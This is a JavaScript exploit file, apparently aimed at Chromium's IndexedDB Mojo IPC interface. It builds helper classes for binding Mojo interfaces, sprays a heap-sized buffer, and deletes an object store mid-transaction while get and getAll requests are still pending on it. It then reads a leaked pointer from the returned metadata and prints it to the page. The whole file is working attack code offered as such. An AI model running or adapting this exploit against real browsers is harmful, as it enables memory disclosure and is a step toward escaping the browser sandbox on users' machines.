exploit.js

function wait_args(obj, name, pred = () => true) {
    let orig = obj[name];
    return new Promise(res => {
        obj[name] = (...args) => {
            if (pred(...args)) {
                obj[name] = orig;
                res(args);
            }
        }
    });
}

class GenericInterface {
    constructor(cls) {
        this.cls = cls;
        this.ptr = new cls.ptrClass();
        this.req = mojo.makeRequest(this.ptr);
        this.binding = new mojo.Binding(cls, this, this.req);
    }
}

class GenericAssociated {
    constructor(cls) {
        this.cls = cls;
        this.ptrInfo = new mojo.AssociatedInterfacePtrInfo();
        this.req = mojo.makeRequest(this.ptrInfo);
        this.ptr = new (eval(cls.name + "AssociatedPtr"))(this.ptrInfo);
    }
}

class GenericAssociatedInerface extends GenericAssociated {
    constructor(cls) {
        super(cls);
        this.methods_called = [];
        this.binding = new mojo.AssociatedBinding(cls, this, this.req);
    }
}

function idb_factory_get() {
    let cls = blink.mojom.IDBFactory;
    let idb_factory = new cls.ptrClass();
    Mojo.bindInterface(cls.name, mojo.makeRequest(idb_factory).handle);
    return idb_factory;
}

function arrayToMojoString16(arr) {
    let ret = new Array();
    while (arr.length % 2 != 0) {
        arr.push(0);
    }
    for (var i = 0; i + 1 < arr.length; i += 2) {
        ret.push(arr[i+1] * 256 + arr[i]);
    }
    return { data: ret }
}

function stringToMojoString16(string) {
    return arrayToMojoString16(Array.from(string).map(c => c.charCodeAt(0)));
}

function mojoString16toString(ms) {
    return ms.data
        .map(i => [i & 0xff , i >> 8])
        .flat()
        .map(n => String.fromCharCode(n))
        .join('');
}
    
function mojoString16DecodeEq(ms, string) {
    let decoded = mojoString16toString(ms);
    if (decoded == string) return true;
    if (decoded[decoded.length - 1] != '\x00') return false;
    return decoded.slice(0, decoded.length - 1) == string;
}

class Tx extends GenericAssociated {
    constructor(db_ptr = undefined, tx_id = 0) {
        super(blink.mojom.IDBTransaction);
        if (!db_ptr) {
            this.id = tx_id;
            return;
        }
        this.id = tx_id > 0 ?  tx_id : Tx.newId();
        db_ptr.createTransaction(this.req, this.id, [], blink.mojom.IDBTransactionMode.ReadOnly);
    }

    static newId() {
        if (!Tx._lastID) {
            Tx._lastID = 0x1337;
        }
        return Tx._lastID++;
    }
}

async function idb_open(idb_factory, name, version, upgrade_func) {
    let db = {
        name: name,
        version: version,
        cb: new GenericAssociatedInerface(blink.mojom.IDBDatabaseCallbacks),
        ptr: null,
    };

    let tx = new Tx();
    let idb_callbacks_impl = new GenericAssociatedInerface(blink.mojom.IDBCallbacks);
    let upgrade_needed_promise = wait_args(idb_callbacks_impl, 'upgradeNeeded', (_db,_ov,_dl,_dls,md) => mojoString16DecodeEq(md.name, name));
    let success_database_promise = wait_args(idb_callbacks_impl, 'successDatabase');
    let tx_complete_promise = wait_args(db.cb, 'complete', txid => txid == tx.id);

    idb_factory.open(
        idb_callbacks_impl.ptrInfo,
        db.cb.ptrInfo, 
        stringToMojoString16(db.name), db.version, tx.req);

    let [db_ptr_info] = await upgrade_needed_promise;
    db.ptr = new blink.mojom.IDBDatabaseAssociatedPtr(db_ptr_info);
    tx.ptr.commit(await upgrade_func(db, tx));
    await tx_complete_promise;
    [, db.md] = await success_database_promise;
    return db;
}

createObjectStore = (() => {
    let id = 1;
    return (tx) => {
        let currentId = id++;
        let os = {
            objectStoreId: currentId,
            name: stringToMojoString16('osnam_' + currentId + '_' + tx.id + '_' + (new Date).getTime().toString().slice(-4)),
            keyPath: new blink.mojom.IDBKeyPath({
                data: new blink.mojom.IDBKeyPathData({string: stringToMojoString16('oskp_' + currentId + '_' + tx.id + '_' + (new Date).getTime().toString().slice(-4))}),
            }),
            autoIncrement: true
        };
        tx.ptr.createObjectStore(os.objectStoreId, os.name, os.keyPath, os.autoIncrement);
        return os;
    }
})();

function put(tx, os, k, bits) {
    let cb = new GenericAssociatedInerface(blink.mojom.IDBCallbacks);
    let put_params = {
        objectStoreId: os.objectStoreId,
        value: new blink.mojom.IDBValue({
            bits: bits,
            blobOrFileInfo: []
        }),
        key: new blink.mojom.IDBKey({
            data: new blink.mojom.IDBKeyData({
                binary: k
            })
        }),
        mode: blink.mojom.IDBPutMode.AddOrUpdate,
        indexKeys: [],
        callbacks: cb.ptrInfo
    };
    tx.ptr.put(put_params.objectStoreId, put_params.value, put_params.key,
        put_params.mode, put_params.indexKeys, put_params.callbacks);
}

async function leak(data) {
    let idb_factory = await idb_factory_get();

    let spray_buffer = new Uint8Array(0x280-2);

    let key_ = new ArrayBuffer(spray_buffer.length);
    let key_u32 = new Uint32Array(key_,0,key_.length - key_.length%4);
    let key_u8 = new Uint8Array(key_);
    for (let i = 0; i < spray_buffer.length; i++) {
        if (i < data.length) {
            spray_buffer[i] = data;
        }
        spray_buffer[i] = ([0xde, 0xad, 0xbe, 0xef][3 - i % 4]);
    }

    let [vuln_os, leaked_os] = [null, null];
    
    let db0 = await idb_open(idb_factory, "db_" + (new Date).getTime().toString().slice(-4), 1,
        async (_db, tx) => {
            vuln_os = createObjectStore(tx);
            leaked_os = createObjectStore(tx);
            key_u32[0] += 1;
            put(tx, leaked_os, key_u8, [0]);
            return 0;
        });

    const kr = new blink.mojom.IDBKeyRange({
        lower: new blink.mojom.IDBKey({
            data: new blink.mojom.IDBKeyData({binary: []})}),
        upper: new blink.mojom.IDBKey({
            data: new blink.mojom.IDBKeyData({binary: new Uint8Array(0x100).fill(0xff)})}),
        lowerOpen: true,
        upperOpen: true
    });

    wait_args(db0.cb, 'versionChange').then(() => {db0.ptr.close();});

    db0 = await idb_open(idb_factory, db0.name, db0.version+1,
        async (db, tx) => {
            tx.ptr.deleteObjectStore(vuln_os.objectStoreId);
            db.ptr.getAll(tx.id, leaked_os.objectStoreId, -1, kr, false, 2**32);
            db.ptr.get(tx.id, vuln_os.objectStoreId, -1, kr, true);
            return 0;
        });

    let leak_os_md = db0.md.objectStores.get(vuln_os.objectStoreId);
    let leak_low = BigInt(leak_os_md.id) % (2n ** 32n);

    let ret = {
        ptr: Number(leak_low),
    }
    return ret;
}

leak("this is going to be known").then(ret => {
    document.write("your data is in: " + ret.ptr.toString(16)) + "</br>";
});